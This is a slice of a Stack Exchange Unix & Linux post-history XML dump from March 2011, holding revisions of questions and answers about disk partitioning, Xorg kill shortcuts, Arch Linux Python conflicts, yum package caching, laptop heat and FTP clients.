  <row Id="21252" PostHistoryTypeId="5" PostId="8881" RevisionGUID="d9ec7d83-a587-4025-83c2-93fac5c3c3eb" CreationDate="2011-03-09T23:53:19.210" UserId="5521" Comment="added 3 characters in body; edited title" Text="I have just installed Debian Squeeze in a hard disk where also Windows 7 is installed.&#xD;&#xA;Now, if I run cfdisk, I get the following message:&#xD;&#xA;&#xD;&#xA;    &quot;FATAL ERROR: Bad primary partition 3: Partition ends in the final partial cylinder&quot;.&#xD;&#xA;&#xD;&#xA;Is there a way to fix it without reinstalling everything?&#xD;&#xA;&#xD;&#xA;**EDIT**: Output from `fdisk -l`:&#xD;&#xA;&#xD;&#xA;    Disk /dev/sda: 250.1 GB, 250059350016 bytes                                                                                                                                         &#xD;&#xA;    255 heads, 63 sectors/track, 30401 cylinders                                                                                                                                        &#xD;&#xA;    Units = cylinders of 16065 * 512 = 8225280 bytes                                                                                                                                    &#xD;&#xA;    Sector size (logical/physical): 512 bytes / 512 bytes                                                                                                                               &#xD;&#xA;    I/O size (minimum/optimal): 512 bytes / 512 bytes                                                                                                                                   &#xD;&#xA;    Disk identifier: 0x1f244dbd                                                                                                                                                         &#xD;&#xA;                                                                                                                                                                                        &#xD;&#xA;       Device Boot      Start         End      Blocks   Id  System                                                                                                                      &#xD;&#xA;    /dev/sda1               1         154     1228800    7  HPFS/NTFS                                                                                                                   &#xD;&#xA;    Partition 1 does not end on cylinder boundary.                                                                                                                                      &#xD;&#xA;    /dev/sda2             154        9673    76464844    7  HPFS/NTFS                                                                                                                   &#xD;&#xA;    Partition 2 does not end on cylinder boundary.                                                                                                                                      &#xD;&#xA;    /dev/sda3            9673       29127   156262401    5  Extended                                                                                                                    &#xD;&#xA;    Partition 3 does not end on cylinder boundary.                                                                                                                                      &#xD;&#xA;    /dev/sda4           29127       30402    10240000    7  HPFS/NTFS                                                                                                                   &#xD;&#xA;    Partition 4 does not end on cylinder boundary.                                                                                                                                      &#xD;&#xA;    /dev/sda5            9673       16968    58593280   83  Linux&#xD;&#xA;    /dev/sda6           16968       17430     3709952   82  Linux swap / Solaris&#xD;&#xA;    /dev/sda7           17430       28372    87889920   83  Linux&#xD;&#xA;    /dev/sda8           28372       29127     6066176   83  Linux&#xD;&#xA;" />
  <row Id="21253" PostHistoryTypeId="4" PostId="8881" RevisionGUID="d9ec7d83-a587-4025-83c2-93fac5c3c3eb" CreationDate="2011-03-09T23:53:19.210" UserId="5521" Comment="added 3 characters in body; edited title" Text="partitions problem with Debian Squeeze and Windows 7 (Partition 1 does not end on cylinder boundary)." />
  <row Id="21254" PostHistoryTypeId="6" PostId="8954" RevisionGUID="3bf5d1fd-710e-484c-972f-3e854ca5dd58" CreationDate="2011-03-10T00:48:56.063" UserId="885" Comment="edited tags" Text="éfedoraàésoftwareörecàésearchà" />
  <row Id="21255" PostHistoryTypeId="6" PostId="8747" RevisionGUID="b602b231-9b3c-4dec-98e4-f186be45cfd6" CreationDate="2011-03-10T00:50:51.007" UserId="885" Comment="edited tags" Text="élinuxàéfilesystemsàéext3àéreferenceà" />
  <row Id="21256" PostHistoryTypeId="6" PostId="8750" RevisionGUID="15436c31-269f-4f40-b1d3-8447797b6d2f" CreationDate="2011-03-10T00:51:13.097" UserId="885" Comment="edited tags" Text="écommandölineàéfindàédateà" />
  <row Id="21258" PostHistoryTypeId="25" PostId="8956" RevisionGUID="e177704e-144d-4747-ab11-957ab9b6d3e3" CreationDate="2011-03-10T02:23:39.663" Comment="http://twitter.com/#!/StackUnix/status/45671125858004992" />
  <row Id="21259" PostHistoryTypeId="2" PostId="8962" RevisionGUID="bd37bc9c-e3be-4a1e-a507-d8a383f9a2c9" CreationDate="2011-03-10T03:22:28.480" UserId="5116" Text="I've just read [Enable kill X.org with ctrl+alt+backspace][1] and am really happy, that &lt;kbd&gt;control&lt;/kbd&gt;-&lt;kbd&gt;alt&lt;/kbd&gt;-&lt;kbd&gt;backspace&lt;/kbd&gt; no longer kills my X-Server. However, I'd like to have a way to kill it; it just should be something more complicated than what I type by accident ten times a day.&#xD;&#xA;&#xD;&#xA;**Is there a way to define an own binding for the kill?**  &#xD;&#xA;&#xD;&#xA;I'd like to use &lt;kbd&gt;control&lt;/kbd&gt;-&lt;kbd&gt;alt&lt;/kbd&gt;-&lt;kbd&gt;meta&lt;/kbd&gt;-&lt;kbd&gt;shift&lt;/kbd&gt;-&lt;kbd&gt;backspace&lt;/kbd&gt; or alike and from the line&#xD;&#xA;&#xD;&#xA;     Option          &quot;XkbOptions&quot; &quot;terminate:ctrl_alt_bksp&quot;&#xD;&#xA;&#xD;&#xA;it's not obvious how to do it (unless it is &quot;terminate:ctrl_alt_meta_shift_bksp&quot; which doesn't seem to work).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://unix.stackexchange.com/questions/375/enable-kill-x-org-with-ctrlaltbackspace" />
  <row Id="21260" PostHistoryTypeId="1" PostId="8962" RevisionGUID="bd37bc9c-e3be-4a1e-a507-d8a383f9a2c9" CreationDate="2011-03-10T03:22:28.480" UserId="5116" Text="Enable kill X.org with an own key combination" />
  <row Id="21261" PostHistoryTypeId="3" PostId="8962" RevisionGUID="bd37bc9c-e3be-4a1e-a507-d8a383f9a2c9" CreationDate="2011-03-10T03:22:28.480" UserId="5116" Text="éxorgàékeyboardöshortcutsàékillàésettingsà" />
  <row Id="21262" PostHistoryTypeId="2" PostId="8963" RevisionGUID="1c5e7b90-25e6-4ed3-919b-d555f7db75d6" CreationDate="2011-03-10T03:43:08.990" UserId="3032" Text="I've recently installed Arch Linux onto my primary (Ubuntu) computer, and it is working *really* well for me. It's fast, configurable, basically a faster version of Ubuntu.&#xD;&#xA;&#xD;&#xA;Since `compiz-fusion` isn't installed by default, I'd like to see how much it would impact my performance, but I get this really nice and descriptive error message when I run `pacman` to install it:&#xD;&#xA;&#xD;&#xA;    [root@arch /]# pacman -S compiz-fusion-gtk&#xD;&#xA;    resolving dependencies...&#xD;&#xA;    looking for inter-conflicts...&#xD;&#xA;    :: python and python2 are in conflict (python&lt;3). Remove python2? [y/N] n&#xD;&#xA;    error: unresolvable package conflicts detected&#xD;&#xA;    error: failed to prepare transaction (conflicting dependencies)&#xD;&#xA;    :: python and python2 are in conflict (python&lt;3)&#xD;&#xA;&#xD;&#xA; haven't installed `python3`, and my only installed Python version is `Python 2.7.1`, which doesn't seem to be conflicting with anything.&#xD;&#xA;&#xD;&#xA;Google didn't turn up any results, so has anybody come across an error like this before? `compiz-fusion` isn't the only package which fails to install because of this python conflict, so quite a few nice packages (like `python-qt`) are uninstallable for me.&#xD;&#xA;&#xD;&#xA;Any help is help for me. Thanks!" />
  <row Id="21263" PostHistoryTypeId="1" PostId="8963" RevisionGUID="1c5e7b90-25e6-4ed3-919b-d555f7db75d6" CreationDate="2011-03-10T03:43:08.990" UserId="3032" Text="Arch Linux: python and python2 are in conflict." />
  <row Id="21264" PostHistoryTypeId="3" PostId="8963" RevisionGUID="1c5e7b90-25e6-4ed3-919b-d555f7db75d6" CreationDate="2011-03-10T03:43:08.990" UserId="3032" Text="éarchölinuxàépythonàépacmanàédependenciesà" />
  <row Id="21265" PostHistoryTypeId="2" PostId="8964" RevisionGUID="a955f5ad-59f4-4f9d-8067-8589326f5aaf" CreationDate="2011-03-10T03:49:55.510" UserId="2511" Text="I don't know of any online resources that are going to be as helpful as this book: [Understanding the Linux Kernel][1]. Chapter 12 covers the Linux VFS layer, and Chapter 18 covers ext2/ext3 specifically.&#xD;&#xA;&#xD;&#xA;The book probably about due for a *fourth* edition, since it's circa 2.6.10, but the basics are still the same. There's a lot going on in filesystems these days, though, so it'd be nice if the book covered ext4 and btrfs as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://oreilly.com/catalog/9780596005658&#xD;&#xA;  [2]: http://www.ibm.com/developerworks/linux/library/l-fs7.html" />
  <row Id="21267" PostHistoryTypeId="5" PostId="8958" RevisionGUID="59c45f72-bc0b-4626-b28c-917675a58625" CreationDate="2011-03-10T04:11:41.027" UserId="2511" Comment="missed one!" Text="A few releases ago, there was a big push for something called [Beagle][1], which is a &quot;personal space&quot; search tool. I'm not quite sure why that push [died out][2], but the package is still part of Fedora and you can install it with `yum install beagle-gnome` if you are a Gnome user or `yum install kerry` for the KDE front-end. There are also optional `beagle-firefox`, `beagle-thunderbird`, and `beagle-evolution` packages which cause those programs' data to be indexed.&#xD;&#xA;&#xD;&#xA;There's a number of full-text indexers / search engines available for Fedora as well, like [Namazu][3], [Xapian][4], [Strigi][5], and [Pinot][6], but as far as I can see, Beagle had  the greatest ambition of being an integrated part of everyone's desktop environment, with a slick UI and everything. Namazu and Xapian are mainly focused on the backend, not the user experience. Strigi also seems to be a dead project. And Pinot looks promising but also appears to be one of those one-guy projects where the developer's continuing interest in the project may be a concern.&#xD;&#xA;&#xD;&#xA;Edit: Missed a big one! There's also [Tracker][7] — `yum install tracker-search-tool`. This seems to be under active development as part of the Gnome project, which is very promising. While it's designed to be desktop-environment-neutral, I'm not finding a current KDE front-end.&#xD;&#xA;&#xD;&#xA;So, there you go. Depending on how satisfying that is, the answer to your question is either &quot;yes&quot; or &quot;no&quot;. :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://beagle-project.org/Main_Page&#xD;&#xA;  [2]: http://mail.gnome.org/archives/dashboard-hackers/2010-January/msg00001.html&#xD;&#xA;  [3]: http://www.namazu.org/&#xD;&#xA;  [4]: http://xapian.org/&#xD;&#xA;  [5]: http://www.vandenoever.info/software/strigi/&#xD;&#xA;  [6]: http://pinot.berlios.de/&#xD;&#xA;  [7]: http://projects.gnome.org/tracker/" />
  <row Id="21268" PostHistoryTypeId="5" PostId="375" RevisionGUID="1d513fa8-6df7-4bf5-8887-6de9c9853e39" CreationDate="2011-03-10T04:38:14.733" UserId="688" Comment="formatting" Text="I don't remember why they did this, but at one point X.org decided that disabling &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Backspace&lt;/kbd&gt; to kill it was a good idea. I know there's a way to re-enable it but I don't remember how. Can someone refresh my memory?" />
  <row Id="21269" PostHistoryTypeId="4" PostId="375" RevisionGUID="1d513fa8-6df7-4bf5-8887-6de9c9853e39" CreationDate="2011-03-10T04:38:14.733" UserId="688" Comment="formatting" Text="How to enable killing Xorg with Ctrl+Alt+Backspace" />
  <row Id="21270" PostHistoryTypeId="6" PostId="375" RevisionGUID="1d513fa8-6df7-4bf5-8887-6de9c9853e39" CreationDate="2011-03-10T04:38:14.733" UserId="688" Comment="formatting" Text="éxorgàékeyboardöshortcutsàésettingsà" />
  <row Id="21271" PostHistoryTypeId="2" PostId="8966" RevisionGUID="a835bb7f-8f34-4fb1-bbec-4d92c70fbc09" CreationDate="2011-03-10T04:41:04.683" UserId="146" Text="`XkbOptions` refers to a rule defined in the XKB rules file, normally `/usr/share/X11/xkb/rules/base`, which will look like:&#xD;&#xA;&#xD;&#xA;    terminate:ctrl_alt_bksp =	+terminate(ctrl_alt_bksp)&#xD;&#xA;&#xD;&#xA;That in turn picks up the definition from the terminate symbols file, normally `/usr/share/X11/xkb/symbols/terminate`.   I'm not sure if you can just add more modifiers to the `type=&quot;CTRL+ALT&quot;` line there or if there's limits on the type value.&#xD;&#xA;&#xD;&#xA;Documentation on XKB customization can be found at http://www.x.org/wiki/XKB and may be able to help fill in some of the gaps in this answer." />
  <row Id="21272" PostHistoryTypeId="2" PostId="8967" RevisionGUID="f2197225-e443-4de4-908f-8759b9855c19" CreationDate="2011-03-10T04:46:25.220" UserId="2874" Text="I had been using Arch Linux 64 bit on a Gateway P6860FX for about two years, and recently switched to Ubuntu (also 64 bit).  When I type on the keyboard, my left hand feels a lot more warmth than before, and the air coming out of the exhaust port is definitely hotter.   (Odd, right now there's no extra heat at all...but anyway...) Only minutes ago did I discover there are ways to monitor the CPU temperature.  I have no idea what it was for Arch, but on Ubuntu it's 60-something, rising to 88 when I run heavy number-crunching software for a few minutes.&#xD;&#xA;&#xD;&#xA;There are good Q&amp;As on this and Superuser on cleaning out dust, and ways to help the computer stay cool.  &#xD;&#xA;&#xD;&#xA;My question is:   *why* would one linix distro run hotter than another?  Is there some daemon running in one and not the other, or some device driver difference, or perhaps one but not the other sets the &quot;run really hot&quot; bit in the CPU's mode register, or what?   &#xD;&#xA;&#xD;&#xA;Can knowing this answer help me select the next distro to try?  Given several candidate distros that are both 64 bit and meet various requirements, can we predict which ones are going to make this machine run hot?" />
  <row Id="21273" PostHistoryTypeId="1" PostId="8967" RevisionGUID="f2197225-e443-4de4-908f-8759b9855c19" CreationDate="2011-03-10T04:46:25.220" UserId="2874" Text="Whe does one linux distro run hotter than another on laptop?" />
  <row Id="21274" PostHistoryTypeId="3" PostId="8967" RevisionGUID="f2197225-e443-4de4-908f-8759b9855c19" CreationDate="2011-03-10T04:46:25.220" UserId="2874" Text="éhardwareàédistrosà" />
  <row Id="21275" PostHistoryTypeId="2" PostId="8968" RevisionGUID="d5581495-72b0-4b9f-9111-fdaa31a94501" CreationDate="2011-03-10T04:54:12.363" UserId="688" Text="Assuming that both are using the same upstream kernel, start by checking the differences between kernel configs for each. In Debian (and I suppose Ubuntu), this will be found in &quot;**/etc/config-2.6.32-5-686-bigmem**&quot;. I would expect that a younger kernel is more likely to be run colder (latest and greatest mantra).&#xD;&#xA;&#xD;&#xA;Are they both running a similar selection of packages? Note that Ubuntu will by default install a heck of a lot more stuff by default, while the Arch philosophy is more on minimalism. Some of these would be daemons or other long-running apps, which may ask more of the CPU attention than normal applications." />
  <row Id="21276" PostHistoryTypeId="4" PostId="8967" RevisionGUID="d534f24f-0c0c-4501-a3f1-a1b13f47727f" CreationDate="2011-03-10T04:55:33.580" UserId="2511" Comment="edited tags; edited title" Text="Why does one linux distro run hotter than another on laptop?" />
  <row Id="21277" PostHistoryTypeId="6" PostId="8967" RevisionGUID="d534f24f-0c0c-4501-a3f1-a1b13f47727f" CreationDate="2011-03-10T04:55:33.580" UserId="2511" Comment="edited tags; edited title" Text="élinuxàéhardwareàédistrosà" />
  <row Id="21278" PostHistoryTypeId="5" PostId="8968" RevisionGUID="d363fe30-5be7-4ae9-b358-6a801b49544e" CreationDate="2011-03-10T05:02:42.473" UserId="688" Comment="deleted 22 characters in body" Text="Assuming that both are using the same upstream kernel, start by checking the differences between kernel configs for each. In Debian (and I suppose Ubuntu), this will be found in &quot;**/etc/config-2.6.32-5-686-bigmem**&quot;. I would expect that a younger kernel is more likely to run cooler (latest and greatest mantra).&#xD;&#xA;&#xD;&#xA;Are they both running a similar selection of packages? Note that Ubuntu will by default install a heck of a lot more stuff, and some of these would be long-running applications (e.g. daemons), which may ask more of the CPU attention than normal applications. Arch leans more on minimalism." />
  <row Id="21279" PostHistoryTypeId="25" PostId="8967" RevisionGUID="8b53d1fa-776b-40d3-ae1e-35f0e7e11afd" CreationDate="2011-03-10T05:23:39.527" Comment="http://twitter.com/#!/StackUnix/status/45716423401676800" />
  <row Id="21280" PostHistoryTypeId="2" PostId="8969" RevisionGUID="ff2ba3f8-e1c1-4c23-97ab-2304e92fac6d" CreationDate="2011-03-10T05:53:08.603" UserId="5325" Text="Ubuntu also defaults to CPU-hungry eye candy (animated cursors and the like)." />
  <row Id="21281" PostHistoryTypeId="2" PostId="8970" RevisionGUID="3070fdcd-e07f-4133-a777-32b366b9b801" CreationDate="2011-03-10T06:33:03.820" UserId="3349" Text="I install a software package on Fedora from the terminal using the command like&#xD;&#xA;&#xD;&#xA;&gt; `# yum install live-usb-creator`&#xD;&#xA;&#xD;&#xA;Now at first it downloads some of the packages from online repository and then later it install that files on to the system.&#xD;&#xA;&#xD;&#xA;Now I want a backup of that downloaded files so that in future I can install that packages directly without connecting to internet. &#xD;&#xA;&#xD;&#xA;But the problem is that I don't know where does it download that all files.&#xD;&#xA;&#xD;&#xA;If it is possible to get those files then I have two systems having `Fedora 13 i686` installed on both of them. One has Internet connection and ohter has nothing like that. Now I want to install sofwares using `yum` on the first system from the online repository and after that can I insatll the same sofwares on my secod system from the downloaded files on the first system?" />
  <row Id="21282" PostHistoryTypeId="1" PostId="8970" RevisionGUID="3070fdcd-e07f-4133-a777-32b366b9b801" CreationDate="2011-03-10T06:33:03.820" UserId="3349" Text="How to get files downloaded by yum?" />
  <row Id="21283" PostHistoryTypeId="3" PostId="8970" RevisionGUID="3070fdcd-e07f-4133-a777-32b366b9b801" CreationDate="2011-03-10T06:33:03.820" UserId="3349" Text="élinuxàéfedoraàéyumàésoftwareöinstallationà" />
  <row Id="21284" PostHistoryTypeId="5" PostId="8968" RevisionGUID="391a44b4-82ba-4ffe-8b17-a6a40efda2da" CreationDate="2011-03-10T06:33:24.107" UserId="688" Comment="added 1 characters in body" Text="Assuming that both are using the same upstream kernel, start by checking the differences between kernel configs for each. In Debian (and I suppose Ubuntu), this will be found in &quot;**/boot/config-2.6.32-5-686-bigmem**&quot;. I would expect that a younger kernel is more likely to run cooler (latest and greatest mantra).&#xD;&#xA;&#xD;&#xA;Are they both running a similar selection of packages? Note that Ubuntu will by default install a heck of a lot more stuff, and some of these would be long-running applications (e.g. daemons), which may ask more of the CPU attention than normal applications. Arch leans more on minimalism." />
  <row Id="21285" PostHistoryTypeId="2" PostId="8971" RevisionGUID="17aa364a-b53f-44ed-857f-0183b67b81d4" CreationDate="2011-03-10T06:39:40.273" UserId="3944" Text="As geekosaur and Tshepang are saying: Assuming that both distributions are using the same kernel, remaining differences should boil down to default configuration settings. &#xD;&#xA;&#xD;&#xA;It could be worth exploring a bit before switching distributions (changing settings is presumably quicker than installing a new OS), I suggest&#xD;&#xA;&#xD;&#xA;* Check System &gt; Preferences &gt; Appearance &gt; Visual Effects - you may prefer &quot;none&quot; to put less load on the CPU and graphics.&#xD;&#xA;* Install and run [PowerTOP][1], a Linux utility to help track down power consumption offenders. (It's available from the Ubuntu software center.)&#xD;&#xA;* There are a whole bunch of other settings that may affect power consumption, but PowerTOP will probably guide you to the ones that are most relevant.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.lesswatts.org/projects/powertop/" />
  <row Id="21286" PostHistoryTypeId="5" PostId="8970" RevisionGUID="8d3661d4-c7fa-4249-a883-29f182ca660d" CreationDate="2011-03-10T06:47:32.670" UserId="3349" Comment="corrected some words" Text="I install a software package on Fedora from the terminal using the command like&#xD;&#xA;&#xD;&#xA;&gt; `# yum install live-usb-creator`&#xD;&#xA;&#xD;&#xA;Now at first it downloads some of the packages from online repository and then later it install that files on to the system.&#xD;&#xA;&#xD;&#xA;Now I want a backup of that downloaded files so that in future I can install that packages directly without connecting to internet. &#xD;&#xA;&#xD;&#xA;But the problem is that I don't know where does it download that all files.&#xD;&#xA;&#xD;&#xA;If it is possible to get those files then I have two systems having `Fedora 13 i686` installed on both of them. One has Internet connection and other has nothing like that. &#xD;&#xA;&#xD;&#xA;Now I want to install sofwares using `yum` on the first system from the online repository and after that can I install the same sofwares on my second system from the downloaded files on the first system?" />
  <row Id="21287" PostHistoryTypeId="2" PostId="8972" RevisionGUID="6f60046b-4a37-4f03-8d05-1226d047dd9d" CreationDate="2011-03-10T06:55:27.857" UserId="4335" Text="I googled and found [this][1]. You can install the `downloadonly` plugin using `yum install yum-downloadonly`. Then you can use the flag `--downloadonly` for the concerned package. This, probably, isn't the exact solution to your question. But I think it would be useful.&#xD;&#xA;&#xD;&#xA;Also checkout Q.14 on [this][2]. It might help as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cyberciti.biz/faq/yum-downloadonly-plugin/&#xD;&#xA;  [2]: http://yum.baseurl.org/wiki/Faq" />
  <row Id="21288" PostHistoryTypeId="2" PostId="8973" RevisionGUID="42e29122-24bc-43b5-8727-7c95299faf82" CreationDate="2011-03-10T07:13:39.267" UserId="1467" Text="I'm trying to connect to a server via FTP and I'm having some problems.&#xD;&#xA;Server is a CentOS with Pure-FTPd.&#xD;&#xA;&#xD;&#xA;My usual client is `lftp` which on this server gets stuck at &quot;Making data connection&quot;. All google results about this suggest setting `ftp:ssl-allow no` but that didn't help in my case.&#xD;&#xA;&#xD;&#xA;I also tried other clients and experienced the same behavior with `ncftp` and the graphical gnome `gftp`: connection is made but no data is transferred even for a simple `ls`.&#xD;&#xA;&#xD;&#xA;However, connection and data transfer work with basic `ftp` client and from a Perl script using Net::FTP module.&#xD;&#xA;&#xD;&#xA;Any suggestion on what options I can try to get the other clients working?" />
  <row Id="21289" PostHistoryTypeId="1" PostId="8973" RevisionGUID="42e29122-24bc-43b5-8727-7c95299faf82" CreationDate="2011-03-10T07:13:39.267" UserId="1467" Text="(some) FTP clients timing out on data connection" />
  <row Id="21290" PostHistoryTypeId="3" PostId="8973" RevisionGUID="42e29122-24bc-43b5-8727-7c95299faf82" CreationDate="2011-03-10T07:13:39.267" UserId="1467" Text="éftpà" />
  <row Id="21291" PostHistoryTypeId="2" PostId="8974" RevisionGUID="96a95ec6-af5c-4d3d-ba9e-43b816b2128b" CreationDate="2011-03-10T08:05:29.460" UserId="4201" Text="Try using ftp in passive mode&#xD;&#xA;the relevant setting in lftp is `ftp:passive-mode`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21292" PostHistoryTypeId="25" PostId="8970" RevisionGUID="72f22f7a-167f-4652-9613-06f12769285f" CreationDate="2011-03-10T08:23:39.900" Comment="http://twitter.com/#!/StackUnix/status/45761723814256641" />
  <row Id="21293" PostHistoryTypeId="2" PostId="8975" RevisionGUID="5a7e8995-87dc-4b75-84e9-8822fe4fc1bb" CreationDate="2011-03-10T08:35:04.580" UserId="5582" Text="First of all: I'm just a beginning Linux-User ;-)&#xD;&#xA;&#xD;&#xA;I've set up a server with OpenVZ support. I wrote a backup script that's dumping the vz containers from time to time. But some containers are not backed up due to insufficient disk space. So I ran `df -h` which gives me this:&#xD;&#xA;&#xD;&#xA;    Filesystem            Size  Used Avail Use% Mounted on&#xD;&#xA;    240f0d7c-195b-461b-87e3-0d0dfc33c3d4&#xD;&#xA;                          5.0G  4.4G  362M  93% /&#xD;&#xA;    tmpfs                 2.0G     0  2.0G   0% /lib/init/rw&#xD;&#xA;    udev                   10M  660K  9.4M   7% /dev&#xD;&#xA;    tmpfs                 2.0G  4.0K  2.0G   1% /dev/shm&#xD;&#xA;    /dev/sda3             270G   32G  225G  13% /vz&#xD;&#xA;    /dev/sda4             184G  188M  174G   1% /srv&#xD;&#xA;&#xD;&#xA;So it seems the problem is the root partition (?) which has only 362M available. As `/srv` has 174G which is may too much I want to &quot;give&quot; some disk space from there to root. Can someone explain how I can do this and maybe explain it a little bit. I don't really know much about this mounting/partioning on Linux (yet).&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="21294" PostHistoryTypeId="1" PostId="8975" RevisionGUID="5a7e8995-87dc-4b75-84e9-8822fe4fc1bb" CreationDate="2011-03-10T08:35:04.580" UserId="5582" Text="Need help with re-partitioning" />
  <row Id="21295" PostHistoryTypeId="3" PostId="8975" RevisionGUID="5a7e8995-87dc-4b75-84e9-8822fe4fc1bb" CreationDate="2011-03-10T08:35:04.580" UserId="5582" Text="élinuxàémountàédisköusageà" />
  <row Id="21296" PostHistoryTypeId="2" PostId="8976" RevisionGUID="3905d8c1-ef26-43ad-99e8-22ee707be454" CreationDate="2011-03-10T08:36:04.877" UserId="36" Text="Set&#xD;&#xA;&#xD;&#xA;    keepcache=1&#xD;&#xA;&#xD;&#xA;in yum.conf&#xD;&#xA;&#xD;&#xA;Then future rpms should stay under /var/cache/yum&#xD;&#xA;" />
  <row Id="21297" PostHistoryTypeId="2" PostId="8977" RevisionGUID="df46dff1-4f60-4ca7-95c9-24f4de349392" CreationDate="2011-03-10T09:01:17.607" UserId="4355" Text="On Arch Linux, the `python` package contains python 3, and the `python2` package contains python 2.&#xD;&#xA;&#xD;&#xA;Try `pacman -Sy python python2` first. Once both of those packages are installed, `compiz-fusion` and `python-qt` should install.&#xD;&#xA;&#xD;&#xA;Oh, and you can't have updated your system in a while. `dbus-python` doesn't depend on the `python` package any more, but on the `python2` package (since october 2010, according to SVN)." />
  <row Id="21298" PostHistoryTypeId="2" PostId="8978" RevisionGUID="8fa3a45c-d63b-4e39-9ac1-cca96b80a4f1" CreationDate="2011-03-10T09:15:21.213" UserId="4477" Text="The simplest soulution is to create a backup of /srv. This is only 188MB it should fit in /srv.tar. Then delete the sda4 partition and create 2 others:&#xD;&#xA;&#xD;&#xA;* sda4 extended partition (you can only have 4 otherwise)&#xD;&#xA;* sda5 for /srv&#xD;&#xA;* sda6 for the backups&#xD;&#xA;&#xD;&#xA;Create filesystems on sda5 and sda6 mount sda5 to /srv and restore the backup. Mount /sda6 to the directory where you want the backups stored. For example:&#xD;&#xA;&#xD;&#xA;    mount /dev/sda6 /var/lib/backups&#xD;&#xA;&#xD;&#xA;Don't forget to modify /etc/fstab. Add the new backups filesystem and change the device for /srv.&#xD;&#xA;&#xD;&#xA;In the future it would be a good idea to use LVM. That makes this sort of problems easier." />
  <row Id="21299" PostHistoryTypeId="5" PostId="8978" RevisionGUID="152b1660-37da-40cf-a2a7-0e9983599acb" CreationDate="2011-03-10T09:24:01.293" UserId="4477" Comment="added commands for backup/restore" Text="The simplest soulution is to create a backup of /srv. This is only 188MB it should fit in /srv.tar.&#xD;&#xA;&#xD;&#xA;    tar cvf /srv.tar.bz2 --auto-compress /srv&#xD;&#xA;&#xD;&#xA;e directory where you want the backups stored. For eThen delete the sda4 partition and create 2 others:&#xD;&#xA;&#xD;&#xA;* sda4 extended partition (you can only have 4 otherwise)&#xD;&#xA;* sda5 for /srv&#xD;&#xA;* sda6 for the backups&#xD;&#xA;&#xD;&#xA;Create filesystems on sda5 and sda6 mount sda5 to /srv and restore the backup.&#xD;&#xA;&#xD;&#xA;    mount /dev/sda5 /srv&#xD;&#xA;    cd /srv&#xD;&#xA;    tar xvf /srv.tar.bz2 --preserve-permissions&#xD;&#xA;&#xD;&#xA;Mount /sda6 to the directory where you want the backups stored. For example:&#xD;&#xA;&#xD;&#xA;    mount /dev/sda6 /var/lib/backups&#xD;&#xA;&#xD;&#xA;Don't forget to modify /etc/fstab. Add the new backups filesystem and change the device for /srv.&#xD;&#xA;&#xD;&#xA;In the future it would be a good idea to use LVM. That makes this sort of problems easier." />
  <row Id="21300" PostHistoryTypeId="5" PostId="8978" RevisionGUID="39d081d2-f440-48f3-b233-ddb791a37345" CreationDate="2011-03-10T09:40:18.907" UserId="4477" Comment="random junk deleted, added mkfs and cfdisk, added fstab code" Text="The simplest soulution is to create a backup of /srv. This is only 188MB it should fit in /srv.tar.&#xD;&#xA;&#xD;&#xA;    tar cvf /srv.tar.bz2 --auto-compress /srv&#xD;&#xA;&#xD;&#xA;Then delete the sda4 partition and create 2 others. You can use `cfdisk /dev/sda` or any other partitioning software.&#xD;&#xA;&#xD;&#xA;* sda4 extended partition (you can only have 4 otherwise)&#xD;&#xA;* sda5 for /srv&#xD;&#xA;* sda6 for the backups&#xD;&#xA;&#xD;&#xA;Create filesystems on sda5 and sda6 mount sda5 to /srv and restore the backup.&#xD;&#xA;&#xD;&#xA;    mke2fs -j /dev/sda5 # For ext3 filesystems&#xD;&#xA;    mke2fs -j /dev/sda6 #  use mkfs.&lt;fsname&gt; for any other&#xD;&#xA;    mount /dev/sda5 /srv&#xD;&#xA;    cd /srv&#xD;&#xA;    tar xvf /srv.tar.bz2 --preserve-permissions&#xD;&#xA;&#xD;&#xA;Mount /sda6 to the directory where you want the backups stored. For example:&#xD;&#xA;&#xD;&#xA;    mount /dev/sda6 /var/lib/backups&#xD;&#xA;&#xD;&#xA;Don't forget to modify /etc/fstab. Add the new backups filesystem and change the device for /srv.&#xD;&#xA;&#xD;&#xA;    /dev/sda5 /srv             ext3 defaults 0 0&#xD;&#xA;    /dev/sda6 /var/lib/backups ext3 defaults 0 0&#xD;&#xA;&#xD;&#xA;In the future it would be a good idea to use LVM. That makes this sort of problems easier." />
  <row Id="21301" PostHistoryTypeId="2" PostId="8979" RevisionGUID="cc7d52e8-60cf-4d5d-a276-f5bd7a839cfd" CreationDate="2011-03-10T10:02:07.317" UserId="5504" Text="    git init&#xD;&#xA;    git clean -f&#xD;&#xA;&#xD;&#xA;This does not remove the repository. This removes everything that is not in the repository.&#xD;&#xA;&#xD;&#xA;After trying to get rid of the existing repo and then start source control again (on the _completed_ first version of a project), these two commands nuked my entire code." />
  <row Id="21302" PostHistoryTypeId="5" PostId="6923" RevisionGUID="36881f8a-327e-4596-8851-5c117b875477" CreationDate="2011-03-10T10:07:36.193" UserId="4478" Comment="added 124 characters in body" Text="Hi,&#xD;&#xA;&#xD;&#xA;I've been trying to dual-boot FreeBSD 8.1 with Mac OS X on my MacBook (5,1), but am having trouble trying to get the live cd to boot.&#xD;&#xA;&#xD;&#xA;I reach the [FreeBSD Boot Loader Screen][1] with the options for boot, boot without ACPI etc.&#xD;&#xA;&#xD;&#xA;However, I cannot select an option. I have tried with both the built in keyboard and a USB keyboard, but I do not think that that is the problem...&#xD;&#xA;&#xD;&#xA;Previously I have tried dual booting Ubuntu, but had problems with the live CD also. During the boot process, the boot seemed to freeze, and the CD stopped spinning. I think it might be a similiar problem here. Soon after arriving at this screen, the CD stops spinning.&#xD;&#xA;&#xD;&#xA;Thanks for any advice!&#xD;&#xA;&#xD;&#xA;BTW. I'm using the amd64 disc1 iso image&#xD;&#xA;&#xD;&#xA;== UPDATE ==&#xD;&#xA;I'm still interested in trying to get this to work, does *anyone* have any idea what the problem could be?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/install/boot-loader-menu.png &quot;FreeBSD Boot Loader Screen&quot;" />
